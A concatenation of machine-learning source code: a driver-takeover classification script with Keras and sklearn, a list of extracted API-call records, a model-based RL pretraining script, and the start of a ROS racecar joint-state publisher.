# Check the GPU availability
from tensorflow.python.client import device_lib
device_lib.list_local_devices()
# Assigning values to X, Y
y = dataset.Takeover
X = dataset.drop('Takeover', axis=1)
# setting up testing and training sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=27)
# concatenate our training data back together
X = pd.concat([X_train, y_train], axis=1)
# separate minority and majority classes
take_over = X[X.Takeover=='TK']
not_takeover = X[X.Takeover=='NTK']
# upsample minority
not_takeover_upsampled = resample(not_takeover,
replace=True, # sample with replacement
n_samples=len(take_over), # match number in majority class
random_state=27) # reproducible results
# combine majority and upsampled minority
upsampled = pd.concat([take_over, not_takeover_upsampled])
# check new class counts
upsampled.Takeover.value_counts() #713585
# trying logistic regression again with the balanced dataset
y_train = upsampled.Takeover
X_train = upsampled.drop('Takeover', axis=1)
## Preprocessing
# Get the column index of the Contin. features
conti_features = []
Cont_Filter = dataset.dtypes!=object
Cont_Filter = dataset.columns.where(Cont_Filter).tolist()
Cont_Filter_Cleaned = [name for name in Cont_Filter if str(name) !='nan']
for i in Cont_Filter_Cleaned:
position = dataset.columns.get_loc(i)
conti_features.append(position)
print(conti_features)
numeric_features = Cont_Filter_Cleaned
numeric_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='median')),
('scaler', StandardScaler())])
categorical_features = ['LeftLaneType','RightLaneType','NDTask']
categorical_transformer = Pipeline(steps=[
('imputer', SimpleImputer(strategy='constant', fill_value='missing')),
('onehot', OneHotEncoder(handle_unknown='ignore'))])
preprocessor = ColumnTransformer(
transformers=[
('num', numeric_transformer, numeric_features),
('cat', categorical_transformer, categorical_features)])
# prepare input data
def prepare_inputs(X_train, X_test):
X_train_enc = preprocessor.fit_transform(X_train)
X_test_enc = preprocessor.fit_transform(X_test)
return X_train_enc, X_test_enc
# prepare target
def prepare_targets(y_train, y_test):
le = LabelEncoder()
le.fit(y_train)
y_train_enc = le.transform(y_train)
y_test_enc = le.transform(y_test)
return y_train_enc, y_test_enc
# load the dataset
X = dataset.drop('Takeover', axis=1)
y = dataset.Takeover
# split into train and test sets
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.20, random_state=27)
# concatenate our training data back together
X = pd.concat([X_train, y_train], axis=1)
# separate minority and majority classes
take_over = X[X.Takeover=='TK']
not_takeover = X[X.Takeover=='NTK']
# upsample minority
not_takeover_upsampled = resample(not_takeover,
replace=True, # sample with replacement
n_samples=len(take_over), # match number in majority class
random_state=27) # reproducible results
# combine majority and upsampled minority
upsampled = pd.concat([take_over, not_takeover_upsampled])
# check new class counts
upsampled.Takeover.value_counts() #713585
# trying logistic regression again with the balanced dataset
y_train = upsampled.Takeover
X_train = upsampled.drop('Takeover', axis=1)
# prepare input data
X_train_enc, X_test_enc = prepare_inputs(X_train, X_test)
# prepare output data
y_train_enc, y_test_enc = prepare_targets(y_train, y_test)
# define the model
model = Sequential()
model.add(Dense(23, input_dim=X_train_enc.shape[1], activation='relu', kernel_initializer='he_normal'))
model.add(Dense(14, activation='relu'))
model.add(Dense(8, activation='relu'))
#logits layer
model.add(Dense(1, activation='sigmoid'))
model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])
# simple early stopping
#set early stopping monitor so the model stops training when it won't improve anymore
# checkpoint
filepath="best-model-{epoch:02d}-{val_loss:.2f}.hdf5"
keras_callbacks = [
EarlyStopping(monitor='val_loss', mode='min', verbose=1, patience=8),
ModelCheckpoint(filepath, monitor='val_loss', mode='min', verbose=1, save_best_only=True)
]
# fit the keras model on the dataset
history = model.fit(X_train_enc, y_train_enc, validation_split=0.10, epochs=30,
batch_size=16, verbose=2, callbacks=keras_callbacks) #val_split: Fraction of the training data to be used as validation data
# load the saved best model
saved_model = load_model('best-model-02-0.04.hdf5')
# list all data in history
print(history.history.keys())
# evaluate the model
_, train_acc = saved_model.evaluate(X_train_enc, y_train_enc, verbose=2)
_, test_acc = saved_model.evaluate(X_test_enc, y_test_enc, verbose=1)
print('Accuracy of test: %.2f' % (test_acc*100))
print('Accuracy of the: '+'1) Train: %.3f, 2) Test: %.3f' % (train_acc, test_acc)) # test: 91.04
# plot training history
plt.plot(history.history['loss'], label='train')
plt.plot(history.history['val_loss'], label='test')
plt.legend(['train', 'test'], loc='upper left')
plt.ylabel('Loss')
plt.show()
# summarize history for accuracy
plt.plot(history.history['accuracy'])
plt.plot(history.history['val_accuracy'])
plt.title('model accuracy')
plt.ylabel('accuracy')
plt.xlabel('epoch')
plt.legend(['train', 'test'], loc='upper left')
plt.show()
# summarize history for loss
plt.plot(history.history['loss'])
plt.plot(history.history['val_loss'])
plt.title('model loss')
plt.ylabel('loss')
plt.xlabel('epoch')
plt.legend(['train', 'test'], loc='upper left')
plt.show()
| [
"sklearn.preprocessing.LabelEncoder",
"tensorflow.python.client.device_lib.list_local_devices",
"pandas.read_csv",
"matplotlib.pyplot.ylabel",
"sklearn.metrics.classification_report",
"sklearn.ensemble.AdaBoostClassifier",
"sklearn.model_selection.StratifiedKFold",
"keras.layers.Dense",
"numpy.mean"... | [((1638, 1678), 'os.chdir', 'os.chdir', (['"""\\\\ML4TakeOver\\\\Data\\\\RawData"""'], {}), "('\\\\ML4TakeOver\\\\Data\\\\RawData')\n", (1646, 1678), False, 'import os\n'), ((1692, 1703), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (1701, 1703), False, 'import os\n'), ((1827, 1872), 'pandas.read_csv', 'pd.read_csv', (['"""takeover4ML.csv"""'], {'index_col': '[0]'}), "('takeover4ML.csv', index_col=[0])\n", (1838, 1872), True, 'import pandas as pd\n'), ((3219, 3258), 'seaborn.countplot', 'sns.countplot', (['"""Takeover"""'], {'data': 'dataset'}), "('Takeover', data=dataset)\n", (3232, 3258), True, 'import seaborn as sns\n'), ((3937, 3964), 'matplotlib.pyplot.figure', 'plt.figure', ([], {'figsize': '(10, 6)'}), '(figsize=(10, 6))\n', (3947, 3964), True, 'import matplotlib.pyplot as plt\n'), ((3965, 3981), 'matplotlib.pyplot.subplot', 'plt.subplot', (['(121)'], {}), '(121)\n', (3976, 3981), True, 'import matplotlib.pyplot as plt\n'), ((4042, 4058), 'matplotlib.pyplot.subplot', 'plt.subplot', (['(122)'], {}), '(122)\n', (4053, 4058), True, 'import matplotlib.pyplot as plt\n'), ((8233, 8402), 'sklearn.compose.make_column_transformer', 'make_column_transformer', (['(numeric, Cont_Filter_Cleaned)', "(categorical, ['LeftLaneType', 'RightLaneType', 'Coming_AlarmType', 'NDTask'])"], {'remainder': '"""passthrough"""'}), "((numeric, Cont_Filter_Cleaned), (categorical, [\n 'LeftLaneType', 'RightLaneType', 'Coming_AlarmType', 'NDTask']),\n remainder='passthrough')\n", (8256, 8402), False, 'from sklearn.compose import ColumnTransformer, make_column_transformer\n'), ((8701, 8755), 'sklearn.model_selection.train_test_split', 'train_test_split', (['X', 'y'], {'test_size': '(0.2)', 'random_state': '(42)'}), '(X, y, test_size=0.2, random_state=42)\n', (8717, 8755), False, 'from sklearn.model_selection import train_test_split\n'), ((9704, 9713), 'sklearn.svm.SVC', 'svm.SVC', ([], {}), '()\n', (9711, 9713), False, 'from sklearn import svm\n'), ((12432, 12572), 'sklearn.compose.ColumnTransformer', 'ColumnTransformer', ([], {'transformers': "[('num', numeric_transformer, numeric_features), ('cat',\n categorical_transformer, categorical_features)]"}), "(transformers=[('num', numeric_transformer,\n numeric_features), ('cat', categorical_transformer, categorical_features)])\n", (12449, 12572), False, 'from sklearn.compose import ColumnTransformer, make_column_transformer\n'), ((12826, 12880), 'sklearn.model_selection.train_test_split', 'train_test_split', (['X', 'y'], {'test_size': '(0.2)', 'random_state': '(27)'}), '(X, y, test_size=0.2, random_state=27)\n', (12842, 12880), False, 'from sklearn.model_selection import train_test_split\n'), ((12936, 12973), 'pandas.concat', 'pd.concat', (['[X_train, y_train]'], {'axis': '(1)'}), '([X_train, y_train], axis=1)\n', (12945, 12973), True, 'import pandas as pd\n'), ((13438, 13484), 'pandas.concat', 'pd.concat', (['[take_over, not_takeover_upsampled]'], {}), '([take_over, not_takeover_upsampled])\n', (13447, 13484), True, 'import pandas as pd\n'), ((19921, 19968), 'pandas.concat', 'pd.concat', (['[takeover_downsampled, not_takeover]'], {}), '([takeover_downsampled, not_takeover])\n', (19930, 19968), True, 'import pandas as pd\n'), ((22006, 22037), 'tensorflow.python.client.device_lib.list_local_devices', 'device_lib.list_local_devices', ([], {}), '()\n', (22035, 22037), False, 'from tensorflow.python.client import device_lib\n'), ((22208, 22262), 'sklearn.model_selection.train_test_split', 'train_test_split', (['X', 'y'], {'test_size': '(0.2)', 'random_state': '(27)'}), '(X, y, test_size=0.2, random_state=27)\n', (22224, 22262), False, 'from sklearn.model_selection import train_test_split\n'), ((22318, 22355), 'pandas.concat', 'pd.concat', (['[X_train, y_train]'], {'axis': '(1)'}), '([X_train, y_train], axis=1)\n', (22327, 22355), True, 'import pandas as pd\n'), ((22820, 22866), 'pandas.concat', 'pd.concat', (['[take_over, not_takeover_upsampled]'], {}), '([take_over, not_takeover_upsampled])\n', (22829, 22866), True, 'import pandas as pd\n'), ((23910, 24050), 'sklearn.compose.ColumnTransformer', 'ColumnTransformer', ([], {'transformers': "[('num', numeric_transformer, numeric_features), ('cat',\n categorical_transformer, categorical_features)]"}), "(transformers=[('num', numeric_transformer,\n numeric_features), ('cat', categorical_transformer, categorical_features)])\n", (23927, 24050), False, 'from sklearn.compose import ColumnTransformer, make_column_transformer\n'), ((24640, 24694), 'sklearn.model_selection.train_test_split', 'train_test_split', (['X', 'y'], {'test_size': '(0.2)', 'random_state': '(27)'}), '(X, y, test_size=0.2, random_state=27)\n', (24656, 24694), False, 'from sklearn.model_selection import train_test_split\n'), ((24750, 24787), 'pandas.concat', 'pd.concat', (['[X_train, y_train]'], {'axis': '(1)'}), '([X_train, y_train], axis=1)\n', (24759, 24787), True, 'import pandas as pd\n'), ((25252, 25298), 'pandas.concat', 'pd.concat', (['[take_over, not_takeover_upsampled]'], {}), '([take_over, not_takeover_upsampled])\n', (25261, 25298), True, 'import pandas as pd\n'), ((25708, 25720), 'keras.models.Sequential', 'Sequential', ([], {}), '()\n', (25718, 25720), False, 'from keras.models import Sequential\n'), ((26742, 26779), 'keras.models.load_model', 'load_model', (['"""best-model-02-0.04.hdf5"""'], {}), "('best-model-02-0.04.hdf5')\n", (26752, 26779), False, 'from keras.models import load_model\n'), ((27186, 27234), 'matplotlib.pyplot.plot', 'plt.plot', (["history.history['loss']"], {'label': '"""train"""'}), "(history.history['loss'], label='train')\n", (27194, 27234), True, 'import matplotlib.pyplot as plt\n'), ((27236, 27287), 'matplotlib.pyplot.plot', 'plt.plot', (["history.history['val_loss']"], {'label': '"""test"""'}), "(history.history['val_loss'], label='test')\n", (27244, 27287), True, 'import matplotlib.pyplot as plt\n'), ((27289, 27336), 'matplotlib.pyplot.legend', 'plt.legend', (["['train', 'test']"], {'loc': '"""upper left"""'}), "(['train', 'test'], loc='upper left')\n", (27299, 27336), True, 'import matplotlib.pyplot as plt\n'), ((27338, 27356), 'matplotlib.pyplot.ylabel', 'plt.ylabel', (['"""Loss"""'], {}), "('Loss')\n", (27348, 27356), True, 'import matplotlib.pyplot as plt\n'), ((27358, 27368), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (27366, 27368), True, 'import matplotlib.pyplot as plt\n'), ((27408, 27445), 'matplotlib.pyplot.plot', 'plt.plot', (["history.history['accuracy']"], {}), "(history.history['accuracy'])\n", (27416, 27445), True, 'import matplotlib.pyplot as plt\n'), ((27447, 27488), 'matplotlib.pyplot.plot', 'plt.plot', (["history.history['val_accuracy']"], {}), "(history.history['val_accuracy'])\n", (27455, 27488), True, 'import matplotlib.pyplot as plt\n'), ((27490, 27517), 'matplotlib.pyplot.title', 'plt.title', (['"""model accuracy"""'], {}), "('model accuracy')\n", (27499, 27517), True, 'import matplotlib.pyplot as plt\n'), ((27519, 27541), 'matplotlib.pyplot.ylabel', 'plt.ylabel', (['"""accuracy"""'], {}), "('accuracy')\n", (27529, 27541), True, 'import matplotlib.pyplot as plt\n'), ((27543, 27562), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""epoch"""'], {}), "('epoch')\n", (27553, 27562), True, 'import matplotlib.pyplot as plt\n'), ((27564, 27611), 'matplotlib.pyplot.legend', 'plt.legend', (["['train', 'test']"], {'loc': '"""upper left"""'}), "(['train', 'test'], loc='upper left')\n", (27574, 27611), True, 'import matplotlib.pyplot as plt\n'), ((27613, 27623), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (27621, 27623), True, 'import matplotlib.pyplot as plt\n'), ((27655, 27688), 'matplotlib.pyplot.plot', 'plt.plot', (["history.history['loss']"], {}), "(history.history['loss'])\n", (27663, 27688), True, 'import matplotlib.pyplot as plt\n'), ((27690, 27727), 'matplotlib.pyplot.plot', 'plt.plot', (["history.history['val_loss']"], {}), "(history.history['val_loss'])\n", (27698, 27727), True, 'import matplotlib.pyplot as plt\n'), ((27729, 27752), 'matplotlib.pyplot.title', 'plt.title', (['"""model loss"""'], {}), "('model loss')\n", (27738, 27752), True, 'import matplotlib.pyplot as plt\n'), ((27754, 27772), 'matplotlib.pyplot.ylabel', 'plt.ylabel', (['"""loss"""'], {}), "('loss')\n", (27764, 27772), True, 'import matplotlib.pyplot as plt\n'), ((27774, 27793), 'matplotlib.pyplot.xlabel', 'plt.xlabel', (['"""epoch"""'], {}), "('epoch')\n", (27784, 27793), True, 'import matplotlib.pyplot as plt\n'), ((27795, 27842), 'matplotlib.pyplot.legend', 'plt.legend', (["['train', 'test']"], {'loc': '"""upper left"""'}), "(['train', 'test'], loc='upper left')\n", (27805, 27842), True, 'import matplotlib.pyplot as plt\n'), ((27844, 27854), 'matplotlib.pyplot.show', 'plt.show', ([], {}), '()\n', (27852, 27854), True, 'import matplotlib.pyplot as plt\n'), ((7824, 7840), 'sklearn.preprocessing.StandardScaler', 'StandardScaler', ([], {}), '()\n', (7838, 7840), False, 'from sklearn.preprocessing import StandardScaler, LabelEncoder, OneHotEncoder\n'), ((7962, 7989), 'sklearn.preprocessing.OneHotEncoder', 'OneHotEncoder', ([], {'sparse': '(False)'}), '(sparse=False)\n', (7975, 7989), False, 'from sklearn.preprocessing import OneHotEncoder\n'), ((9620, 9625), 'sklearn.svm.SVC', 'SVC', ([], {}), '()\n', (9623, 9625), False, 'from sklearn.svm import SVC\n'), ((14159, 14196), 'sklearn.metrics.classification_report', 'classification_report', (['y_true', 'y_pred'], {}), '(y_true, y_pred)\n', (14180, 14196), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((14737, 14778), 'sklearn.metrics.classification_report', 'classification_report', (['y_true_3', 'y_pred_3'], {}), '(y_true_3, y_pred_3)\n', (14758, 14778), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((15286, 15327), 'sklearn.metrics.classification_report', 'classification_report', (['y_true_2', 'y_pred_2'], {}), '(y_true_2, y_pred_2)\n', (15307, 15327), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((17675, 17746), 'pandas.Series', 'pd.Series', (['gb_scores'], {'name': '"""CV scores distribution(Gradiaent Boosting)"""'}), "(gb_scores, name='CV scores distribution(Gradiaent Boosting)')\n", (17684, 17746), True, 'import pandas as pd\n'), ((18350, 18391), 'sklearn.metrics.classification_report', 'classification_report', (['y_true_4', 'y_pred_4'], {}), '(y_true_4, y_pred_4)\n', (18371, 18391), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((18651, 18659), 'sklearn.gaussian_process.kernels.RBF', 'RBF', (['(1.0)'], {}), '(1.0)\n', (18654, 18659), False, 'from sklearn.gaussian_process.kernels import RBF\n'), ((19063, 19104), 'sklearn.metrics.classification_report', 'classification_report', (['y_true_3', 'y_pred_3'], {}), '(y_true_3, y_pred_3)\n', (19084, 19104), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((20673, 20710), 'sklearn.metrics.classification_report', 'classification_report', (['y_true', 'y_pred'], {}), '(y_true, y_pred)\n', (20694, 20710), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((21304, 21355), 'sklearn.metrics.classification_report', 'classification_report', (['y_true_down_4', 'y_pred_down_4'], {}), '(y_true_down_4, y_pred_down_4)\n', (21325, 21355), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((24348, 24362), 'sklearn.preprocessing.LabelEncoder', 'LabelEncoder', ([], {}), '()\n', (24360, 24362), False, 'from sklearn.preprocessing import LabelEncoder\n'), ((25732, 25828), 'keras.layers.Dense', 'Dense', (['(23)'], {'input_dim': 'X_train_enc.shape[1]', 'activation': '"""relu"""', 'kernel_initializer': '"""he_normal"""'}), "(23, input_dim=X_train_enc.shape[1], activation='relu',\n kernel_initializer='he_normal')\n", (25737, 25828), False, 'from keras.layers import Dense\n'), ((25837, 25865), 'keras.layers.Dense', 'Dense', (['(14)'], {'activation': '"""relu"""'}), "(14, activation='relu')\n", (25842, 25865), False, 'from keras.layers import Dense\n'), ((25878, 25905), 'keras.layers.Dense', 'Dense', (['(8)'], {'activation': '"""relu"""'}), "(8, activation='relu')\n", (25883, 25905), False, 'from keras.layers import Dense\n'), ((25933, 25963), 'keras.layers.Dense', 'Dense', (['(1)'], {'activation': '"""sigmoid"""'}), "(1, activation='sigmoid')\n", (25938, 25963), False, 'from keras.layers import Dense\n'), ((26259, 26327), 'keras.callbacks.EarlyStopping', 'EarlyStopping', ([], {'monitor': '"""val_loss"""', 'mode': '"""min"""', 'verbose': '(1)', 'patience': '(8)'}), "(monitor='val_loss', mode='min', verbose=1, patience=8)\n", (26272, 26327), False, 'from keras.callbacks import EarlyStopping\n'), ((26336, 26429), 'keras.callbacks.ModelCheckpoint', 'ModelCheckpoint', (['filepath'], {'monitor': '"""val_loss"""', 'mode': '"""min"""', 'verbose': '(1)', 'save_best_only': '(True)'}), "(filepath, monitor='val_loss', mode='min', verbose=1,\n save_best_only=True)\n", (26351, 26429), False, 'from keras.callbacks import ModelCheckpoint\n'), ((10509, 10514), 'sklearn.svm.SVC', 'SVC', ([], {}), '()\n', (10512, 10514), False, 'from sklearn.svm import SVC\n'), ((11465, 11502), 'sklearn.metrics.classification_report', 'classification_report', (['y_true', 'y_pred'], {}), '(y_true, y_pred)\n', (11486, 11502), False, 'from sklearn.metrics import confusion_matrix, recall_score, precision_recall_curve, auc, roc_curve, roc_auc_score, classification_report\n'), ((16367, 16391), 'sklearn.model_selection.StratifiedKFold', 'StratifiedKFold', (['n_folds'], {}), '(n_folds)\n', (16382, 16391), False, 'from sklearn.model_selection import StratifiedKFold, cross_val_score\n'), ((17443, 17467), 'sklearn.model_selection.StratifiedKFold', 'StratifiedKFold', (['n_folds'], {}), '(n_folds)\n', (17458, 17467), False, 'from sklearn.model_selection import StratifiedKFold, cross_val_score\n'), ((17631, 17649), 'numpy.mean', 'np.mean', (['gb_scores'], {}), '(gb_scores)\n', (17638, 17649), True, 'import numpy as np\n'), ((12078, 12110), 'sklearn.impute.SimpleImputer', 'SimpleImputer', ([], {'strategy': '"""median"""'}), "(strategy='median')\n", (12091, 12110), False, 'from sklearn.impute import SimpleImputer\n'), ((12129, 12145), 'sklearn.preprocessing.StandardScaler', 'StandardScaler', ([], {}), '()\n', (12143, 12145), False, 'from sklearn.preprocessing import StandardScaler, LabelEncoder, OneHotEncoder\n'), ((12297, 12353), 'sklearn.impute.SimpleImputer', 'SimpleImputer', ([], {'strategy': '"""constant"""', 'fill_value': '"""missing"""'}), "(strategy='constant', fill_value='missing')\n", (12310, 12353), False, 'from sklearn.impute import SimpleImputer\n'), ((12372, 12410), 'sklearn.preprocessing.OneHotEncoder', 'OneHotEncoder', ([], {'handle_unknown': '"""ignore"""'}), "(handle_unknown='ignore')\n", (12385, 12410), False, 'from sklearn.preprocessing import OneHotEncoder\n'), ((13964, 13984), 'sklearn.linear_model.LogisticRegression', 'LogisticRegression', ([], {}), '()\n', (13982, 13984), False, 'from sklearn.linear_model import LogisticRegression\n'), ((14470, 14475), 'sklearn.decomposition.PCA', 'PCA', ([], {}), '()\n', (14473, 14475), False, 'from sklearn.decomposition import PCA\n'), ((14511, 14549), 'sklearn.tree.DecisionTreeClassifier', 'DecisionTreeClassifier', ([], {'random_state': '(0)'}), '(random_state=0)\n', (14533, 14549), False, 'from sklearn.tree import DecisionTreeClassifier\n'), ((15005, 15010), 'sklearn.decomposition.PCA', 'PCA', ([], {}), '()\n', (15008, 15010), False, 'from sklearn.decomposition import PCA\n'), ((15045, 15096), 'sklearn.ensemble.RandomForestClassifier', 'RandomForestClassifier', ([], {'max_depth': '(2)', 'random_state': '(0)'}), '(max_depth=2, random_state=0)\n', (15067, 15096), False, 'from sklearn.ensemble import RandomForestClassifier\n'), ((15905, 15910), 'sklearn.decomposition.PCA', 'PCA', ([], {}), '()\n', (15908, 15910), False, 'from sklearn.decomposition import PCA\n'), ((15953, 16039), 'rgf.sklearn.RGFClassifier', 'RGFClassifier', ([], {'max_leaf': '(400)', 'algorithm': '"""RGF_Sib"""', 'test_interval': '(100)', 'verbose': '(True)'}), "(max_leaf=400, algorithm='RGF_Sib', test_interval=100, verbose\n =True)\n", (15966, 16039), False, 'from rgf.sklearn import RGFClassifier\n'), ((16885, 16890), 'sklearn.decomposition.PCA', 'PCA', ([], {}), '()\n', (16888, 16890), False, 'from sklearn.decomposition import PCA\n'), ((16934, 17035), 'sklearn.ensemble.GradientBoostingClassifier', 'GradientBoostingClassifier', ([], {'n_estimators': '(20)', 'learning_rate': '(0.01)', 'subsample': '(0.6)', 'random_state': '(127)'}), '(n_estimators=20, learning_rate=0.01, subsample=\n 0.6, random_state=127)\n', (16960, 17035), False, 'from sklearn.ensemble import GradientBoostingClassifier\n'), ((18067, 18072), 'sklearn.decomposition.PCA', 'PCA', ([], {}), '()\n', (18070, 18072), False, 'from sklearn.decomposition import PCA\n'), ((18113, 18165), 'sklearn.ensemble.AdaBoostClassifier', 'AdaBoostClassifier', ([], {'n_estimators': '(100)', 'random_state': '(0)'}), '(n_estimators=100, random_state=0)\n', (18131, 18165), False, 'from sklearn.ensemble import AdaBoostClassifier\n'), ((18757, 18762), 'sklearn.decomposition.PCA', 'PCA', ([], {}), '()\n', (18760, 18762), False, 'from sklearn.decomposition import PCA\n'), ((18797, 18853), 'sklearn.gaussian_process.GaussianProcessClassifier', 'GaussianProcessClassifier', ([], {'kernel': 'kernel', 'random_state': '(0)'}), '(kernel=kernel, random_state=0)\n', (18822, 18853), False, 'from sklearn.gaussian_process import GaussianProcessClassifier\n'), ((20448, 20468), 'sklearn.linear_model.LogisticRegression', 'LogisticRegression', ([], {}), '()\n', (20466, 20468), False, 'from sklearn.linear_model import LogisticRegression\n'), ((20986, 20991), 'sklearn.decomposition.PCA', 'PCA', ([], {}), '()\n', (20989, 20991), False, 'from sklearn.decomposition import PCA\n'), ((21032, 21084), 'sklearn.ensemble.AdaBoostClassifier', 'AdaBoostClassifier', ([], {'n_estimators': '(100)', 'random_state': '(0)'}), '(n_estimators=100, random_state=0)\n', (21050, 21084), False, 'from sklearn.ensemble import AdaBoostClassifier\n'), ((23575, 23607), 'sklearn.impute.SimpleImputer', 'SimpleImputer', ([], {'strategy': '"""median"""'}), "(strategy='median')\n", (23588, 23607), False, 'from sklearn.impute import SimpleImputer\n'), ((23626, 23642), 'sklearn.preprocessing.StandardScaler', 'StandardScaler', ([], {}), '()\n', (23640, 23642), False, 'from sklearn.preprocessing import StandardScaler, LabelEncoder, OneHotEncoder\n'), ((23775, 23831), 'sklearn.impute.SimpleImputer', 'SimpleImputer', ([], {'strategy': '"""constant"""', 'fill_value': '"""missing"""'}), "(strategy='constant', fill_value='missing')\n", (23788, 23831), False, 'from sklearn.impute import SimpleImputer\n'), ((23850, 23888), 'sklearn.preprocessing.OneHotEncoder', 'OneHotEncoder', ([], {'handle_unknown': '"""ignore"""'}), "(handle_unknown='ignore')\n", (23863, 23888), False, 'from sklearn.preprocessing import OneHotEncoder\n')] |
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
# @author: <NAME>
import os
from typing import Dict, Optional, Tuple, cast
import gym
import hydra.utils
from mbrl.env.offline_data import load_dataset_and_env
import numpy as np
import omegaconf
from omegaconf import read_write
import torch
import mbrl.constants
import mbrl.models
import mbrl.planning
import mbrl.third_party.pytorch_sac as pytorch_sac
import mbrl.types
import mbrl.util
import mbrl.util.common
import mbrl.util.math
from mbrl.planning.sac_wrapper import SACAgent
MBPO_LOG_FORMAT = mbrl.constants.EVAL_LOG_FORMAT + [
("epoch", "E", "int"),
("rollout_length", "RL", "int"),
]
def create_dataloader_from_dict(cfg: omegaconf.DictConfig, env: gym.Env, dataset: Dict) -> mbrl.util.ReplayBuffer:
dataset_length = len(dataset["observations"])
assert cfg.overrides.num_steps >= dataset_length, \
f"Buffer must be large enough for pretraining dataset, trying to fit {dataset_length} into {cfg.overrides.num_steps} steps."
rng = np.random.default_rng(seed=cfg.seed)
dtype = np.float32
obs_shape = env.observation_space.shape
act_shape = env.action_space.shape
replay_buffer = mbrl.util.common.create_replay_buffer(
cfg,
obs_shape,
act_shape,
rng=rng,
obs_type=dtype,
action_type=dtype,
reward_type=dtype,
)
observations = dataset["observations"]
actions = dataset["actions"]
rewards = dataset["rewards"]
next_observations = dataset["next_observations"]
dones = dataset["terminals"]
if "timeouts" in dataset.keys():
dones = np.logical_or(dataset["terminals"], dataset["timeouts"])
for (obs, act, rew, obs_next, done) in zip(observations, actions, rewards, next_observations, dones):
replay_buffer.add(obs, act, obs_next, rew, done)
return replay_buffer
def train(
env: gym.Env,
cfg: omegaconf.DictConfig,
) -> None:
# ------------------- Initialization -------------------
assert cfg.model_pretraining.train_dataset == cfg.overrides.env, "Dataset for pretraining must come from the training env."
debug_mode = cfg.get("debug_mode", False)
train_dataset, _ = load_dataset_and_env(cfg.model_pretraining.train_dataset)
test_dataset, _ = load_dataset_and_env(cfg.model_pretraining.test_dataset)
train_dataset = create_dataloader_from_dict(cfg, env, train_dataset)
test_dataset = create_dataloader_from_dict(cfg, env, test_dataset)
obs_shape = env.observation_space.shape
act_shape = env.action_space.shape
# mbrl.planning.complete_agent_cfg(env, cfg.algorithm.agent)
# agent = hydra.utils.instantiate(cfg.algorithm.agent)
work_dir = os.getcwd()
logger = mbrl.util.Logger(work_dir, enable_back_compatible=True)
logger.register_group(
mbrl.constants.RESULTS_LOG_NAME,
MBPO_LOG_FORMAT,
color="green",
dump_frequency=1,
)
torch_generator = torch.Generator(device=cfg.device)
if cfg.seed is not None:
torch_generator.manual_seed(cfg.seed)
dynamics_model = mbrl.util.common.create_one_dim_tr_model(cfg, obs_shape, act_shape)
# ---------------------------------------------------------
# --------------------- Training Loop ---------------------
model_trainer = mbrl.models.ModelTrainer(
dynamics_model,
optim_lr=cfg.overrides.model_lr,
weight_decay=cfg.overrides.model_wd,
logger=logger,
)
mbrl.util.common.train_model_and_save_model_and_data(
dynamics_model,
model_trainer,
cfg.overrides,
train_dataset,
work_dir=work_dir,
)
return dynamics_model, model_trainer, train_dataset
# ---------------------------------------------------------
# -------------- Evaluate on test dataset -----------------
pass
#TODO: implement more mature testing logic here and maybe some nice viz
# ---------------------------------------------------------
# -------------- Create initial overrides. dataset --------------
pass
#TODO: implement robust saving so we can use this model for more experiments
# down the line | [
"numpy.random.default_rng",
"mbrl.env.offline_data.load_dataset_and_env",
"numpy.logical_or",
"os.getcwd",
"torch.Generator"
] | [((1098, 1134), 'numpy.random.default_rng', 'np.random.default_rng', ([], {'seed': 'cfg.seed'}), '(seed=cfg.seed)\n', (1119, 1134), True, 'import numpy as np\n'), ((2285, 2342), 'mbrl.env.offline_data.load_dataset_and_env', 'load_dataset_and_env', (['cfg.model_pretraining.train_dataset'], {}), '(cfg.model_pretraining.train_dataset)\n', (2305, 2342), False, 'from mbrl.env.offline_data import load_dataset_and_env\n'), ((2365, 2421), 'mbrl.env.offline_data.load_dataset_and_env', 'load_dataset_and_env', (['cfg.model_pretraining.test_dataset'], {}), '(cfg.model_pretraining.test_dataset)\n', (2385, 2421), False, 'from mbrl.env.offline_data import load_dataset_and_env\n'), ((2792, 2803), 'os.getcwd', 'os.getcwd', ([], {}), '()\n', (2801, 2803), False, 'import os\n'), ((3045, 3079), 'torch.Generator', 'torch.Generator', ([], {'device': 'cfg.device'}), '(device=cfg.device)\n', (3060, 3079), False, 'import torch\n'), ((1705, 1761), 'numpy.logical_or', 'np.logical_or', (["dataset['terminals']", "dataset['timeouts']"], {}), "(dataset['terminals'], dataset['timeouts'])\n", (1718, 1761), True, 'import numpy as np\n')] |
#!/usr/bin/env python3
import rospy
from sensor_msgs.msg import JointState
from std_msgs.msg import Header, Float32
from geometry_msgs.msg import Twist, TwistStamped
from nav_msgs.msg import Odometry
import math
rear_vel = 0
front_rot = 0
def callback_cmd(cmd):
global front_rot
global rear_vel
rear_vel = rear_vel + cmd.linear.x
front_rot = cmd.angular.z
def callback_odom(odom):
global front_rot
global rear_vel
rear_vel = rear_vel + odom.twist.twist.linear.x
front_rot = odom.twist.twist.angular.z
def talker():
global rear_vel
global front_rot
#Initialize node and publisher
pub = rospy.Publisher('joint_states', JointState, queue_size=10)
rospy.Subscriber("/odom", Odometry, callback_odom)
rospy.init_node('racecar_joint_state')
rate = rospy.Rate(10) # 10hz
